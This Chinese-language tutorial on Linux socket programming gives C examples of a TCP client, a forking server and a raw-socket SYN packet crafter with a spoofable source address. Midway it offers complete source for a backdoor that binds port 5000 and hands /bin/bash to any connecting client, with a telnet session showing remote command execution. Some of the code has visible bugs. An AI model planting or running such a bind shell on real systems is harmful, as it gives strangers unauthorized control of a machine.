linux网络编程基础
来源:互联网 发布:java包命名规则 编辑:程序博客网 时间:2024/04/20 06:40
linux网络编程基础
首先,什么是socket?socket是计算机用于与网络上的其它计算机进行通信的一个接口,它就像是电源插线板上的插口一样,用电电器想要获得电源,就必须要有个插头连接到插线板上的插口。同样,计算机要想获得一个网络连接就得建立一个socket。
下面是一些在建立一个socket时常的函数:
socket() --- 用来创建一个socket接口
例:sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect() --- 用来连接到远程主机
例:connect(sock, (struct sockaddr*)&remote_host, sizeof(remote_host));
send() --- 用来向远程主机发送数据
例:nsend = send(sock, data, datalen, 0);
recv() --- 用来接收从主机发送来的数据
例:nrecv = recv(sock, buffer, sizeof(buffer), 0);
close() --- 用来关闭一个socket
例:close(sock);
下面是一个简单的客房端例子,它连接到服务器,发送一个字符串,然后接收服务器发送回来的字符串。
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in remote;
if (argc < 3) {
printf("usage: %s <dst-ip> <dst-port> ", argv[0]);
exit(-1);
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
printf("socket error. ");
exit(-1);
}
memset(&remote, 0, sizeof(remote));
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
inet_pton(AF_INET, argv[1], &remote.sin_addr);
char addr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &remote.sin_addr, addr, INET_ADDRSTRLEN);
printf("%s ", addr);
printf("connecting... ");
if (connect(sock, (struct sockaddr*)&remote, sizeof(struct sockaddr)) < 0) {
printf("connect error. ");
exit(-1);
}
printf("send data... ");
char sbuf[] = "I am plusboy";
char rbuf[1024];
send(sock, sbuf, sizeof(sbuf), 0);
int nrecv = recv(sock, rbuf, sizeof(rbuf), 0);
rbuf[nrecv] = '/0';
printf("recv from server: %s/n", rbuf);
close(sock);
}
编译:gcc -o client client.c
执行结果如下:
[bugboy@bugboy c]$ ./client 172.16.100.108 6789
172.16.100.108
connecting...
send data...
recv from server: recv: I am plusboy
上面是一个客户端的例子,为了创建一个服务端,我们需要了解更多的socket函数,下面是一些常用的函数:
bind() --- 用来把一个socket和一个网络地址和一个端口号进行绑定
例:bind(sock, (struct sockaddr*)&local_host, sizeof(local_host));
listen() --- 用来把一个socket置入监听状态
例:listen(sock, 5);
accept() --- 用来接收一个远程连接请求
例:cli_sock = accept(sock, (struct sockaddr*)&cli_addr, &cli_addr_size);
下面是一个简的服务器端例子,这接收客房端的连接请求,然后启动一个子进程来处理客户端,父进程继续等待其它客户端的请求,注意服务器端用了一个dup2()进行描述符复制,它把客户端连接生成的socket复制到一标准输出,因此打印到标准输出的信息最终会发送到客户端。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int lsock;
int rsock;
struct sockaddr_in server;
struct sockaddr_in client;
int len;
len = sizeof(struct sockaddr);
lsock = socket(AF_INET, SOCK_STREAM, 0);
if (lsock < 0) {
printf("socket error. ");
exit(-1);
}
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(6789);
server.sin_addr.s_addr = INADDR_ANY;
if (bind(lsock, (struct sockaddr*)&server, sizeof(struct sockaddr)) < 0) {
printf("bind error. ");
exit(-1);
}
if (listen(lsock, 5) < 0) {
printf("listen error. ");
exit(-1);
}
char buf[1024];
int nrecv;
char cli_addr[INET_ADDRSTRLEN];
while (1) {
rsock = accept(lsock, (struct sockaddr*)&client, &len);
printf("Connection from %s ",
inet_ntop(AF_INET, &client.sin_addr, cli_addr, INET_ADDRSTRLEN));
if (fork() == 0) {
close(lsock);
dup2(rsock, STDOUT_FILENO);
while (1) {
nrecv = recv(rsock, buf, sizeof(buf), 0);
buf[nrecv] = '/0';
printf("recv: %s/n", buf);
if (strncmp(buf, "exit", 4 ) == 0) {
exit(0);
}
}
} else {
close(rsock);
}
}
}
编译:gcc -o server server.c
执行结果如下:
[bugboy@bugboy c]$ ./server
Connection from 172.16.100.108
有了上面的基础,就可以偿试写一个后门程序来玩玩了,下面是一个不错的例子:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int lsock, rsock;
struct sockaddr_in server;
struct sockaddr_in client;
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "socket error. ");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(5000);
server.sin_addr.s_addr = INADDR_ANY;
if (bind(lsock, (struct sockaddr*)&server, sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "bind error. ");
exit(-1);
}
if (listen(lsock, 5) < 0) {
fprintf(stderr, "listen error. ");
exit(-1);
}
while (1) {
int size;
size = sizeof(struct sockaddr);
rsock = accept(lsock, (struct sockaddr*)&client, &size);
/* 把输入、输出和出错信息重定向到网络 */
dup2(rsock, STDIN_FILENO);
dup2(rsock, STDOUT_FILENO);
dup2(rsock, STDERR_FILENO);
execl("/bin/bash", "/bin/bash", (char*)0);
close(rsock);
}
return 0;
}
在linux下用GCC编译:gcc -o backdoor backdoor.c 运行结果如下:
[plusboy@server3 ~]$./backdoor
从另一台机子(或者本机)telnet到server3去
[bugboy@bugboy ~]$ telnet 172.16.100.81 5000
Trying 172.16.100.81...
Connected to server3 (172.16.100.81).
Escape character is '^]'.
hostname;
server3
: command not found
uname -a;
Linux server3 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
: command not found
有时你需要获得对网络底层协议更多的控制,这时你需要用到raw socket(原始套接口)。下面是常用到的函数:
sendto() --- 用来发送数据到远程主机
例:nsend = sendto(sock, data, datalen, 0, (struct sockaddr*)&remote_host, sizeof(remote_host);
recvfrom() --- 用来接收从远程主机发送来的数据
例:nrecv = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr*)&remote_host, sizeof(remote_host);
setsockopt() --- 用来设置socket的选项
例:setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable));
下面是一个使用原始套接口的例子(raw_socket.c):
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
int main(int argc, char *argv[])
{
if (argc != 7) {
fprintf(stderr, "Simple Packet Crafter using raw sockets "
"Usage: %s <dst-ip> <dst-port> <src-ip> <src-port> <ttl> <window> ", argv[0]);
fprintf(stderr, "Example: %s 192.0.0.2 79 1.2.3.4 12345 255 512 ", argv[0]);
exit(-1);
}
if (getuid() != 0) {
fprintf(stderr, "Error: Must be ROOT to open raw sockets. ");
exit(-1);
}
int enable = 1;
int sock;
char packet[4096];
struct sockaddr_in remote;
struct iphdr *ip = (struct iphdr*) packet;
struct tcphdr *tcp = (struct tcphdr*) packet + sizeof(struct tcphdr);
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
fprintf(stderr, "socket error. ");
exit(-1);
}
remote.sin_family = AF_INET;
inet_pton(AF_INET, argv[1], &remote.sin_addr.s_addr);
remote.sin_port = htons(atoi(argv[2]));
memset(packet, 0, sizeof(packet));
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable)) < 0) {
fprintf(stderr, "setsockopt error. ");
exit(-1);
}
struct in_addr addr;
ip->ihl = 5; // IP header length
ip->version = 4; // IP version
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htons(2500); // id sequence number
inet_pton(AF_INET, argv[3], &addr); // source ip
ip->saddr = addr.s_addr;
inet_pton(AF_INET, argv[1], &addr); // destination ip
ip->daddr = addr.s_addr;
printf("source ip: %d ", ip->saddr);
printf("destination ip: %d ", ip->daddr);
ip->ttl = htons(atoi(argv[5])); // ttl
ip->protocol = IPPROTO_TCP; // protocol number
ip->check = 0; // IP checksum
ip->tos = 0; // type of service
ip->frag_off = 0; // fragment offset
tcp->source = htons(atoi(argv[4])); // source port
tcp->dest = htons(atoi(argv[2])); // destination port
tcp->seq = htons(random()); // initial sequence number
tcp->ack_seq = htons(0); // acknowledgement number
tcp->ack = 0; // acknowledgement flag
tcp->syn = 1; // synchronize flag
tcp->rst = 0; // reset flag
tcp->psh = 0; // push flag
tcp->fin = 0; // finish flag
tcp->urg = 0; // urgent flag
tcp->check = 0; // tcp checksum
tcp->doff = 5; // data offset
tcp->window = htons(atoi(argv[6])); // window size
printf(" Simple Packet Crafter using raw sockets ");
printf(" Packet Data: ");
printf(" Destination IP: %s, ", argv[1]);
printf(" Destination Port: %s, ", argv[2]);
printf(" Source IP: %s, ", argv[3]);
printf(" Source Port: %s, ", argv[4]);
printf(" TTL: %s, ", argv[5]);
printf(" Window Size: %s ", argv[6]);
printf(" Sending packet to %s... ", argv[1]);
if (sendto(sock, packet, ip->tot_len, 0,
(struct sockaddr*)&remote, sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "Error: can't send packet! ");
return -1;
}
printf(" Packet send to %s! Goodbye! ", argv[1]);
return 0;
}
这个程序需要root用户执行,因为只有root用户可以创建原始套接口。用gcc编译后,程序执行结果如下:
[root@bugboy c]# ./raw_socket 172.16.100.81 22 172.16.100.108 5000 255 512
source ip: 1818497196
destination ip: 1365512364
Simple Packet Crafter using raw sockets
Packet Data:
Destination IP: 172.16.100.81,
Destination Port: 22,
Source IP: 172.16.100.108,
Source Port: 5000,
TTL: 255,
Window Size: 512
Sending packet to 172.16.100.81...
Packet send to 172.16.100.81! Goodbye!
- linux网络编程基础
- Linux 网络编程基础
- Linux网络编程基础
- Linux网络编程基础
- linux 网络编程基础
- Linux网络编程基础
- linux网络编程基础
- linux网络编程基础
- Linux网络编程基础
- Linux网络编程基础
- Linux网络编程基础
- Linux 网络编程基础
- Linux 网络编程基础
- linux网络编程基础
- linux网络编程基础
- Linux网络编程基础
- Linux网络编程基础
- Linux网络编程基础(一)
- 如何弹出一个选择文件夹路径的对话框选择路径?
- 顶级优秀论坛大汇集
- 伤心的雨水
- 关于String截取空格
- 实践性“暗网”测量--------Practical Darknet Measurement
- linux网络编程基础
- SDH
- 某雅思培训网站被挂 server.exe / Dropper.Win32.BlackHole.a / Backdoor.Win32.Hupigon.jmq
- 关于StringTokenizer的用法
- 并口读写24cxx(附源码)
- fsdfsd
- 使用.NET实现你的IP切换器
- 关于findbugs插件
- ajax学习笔记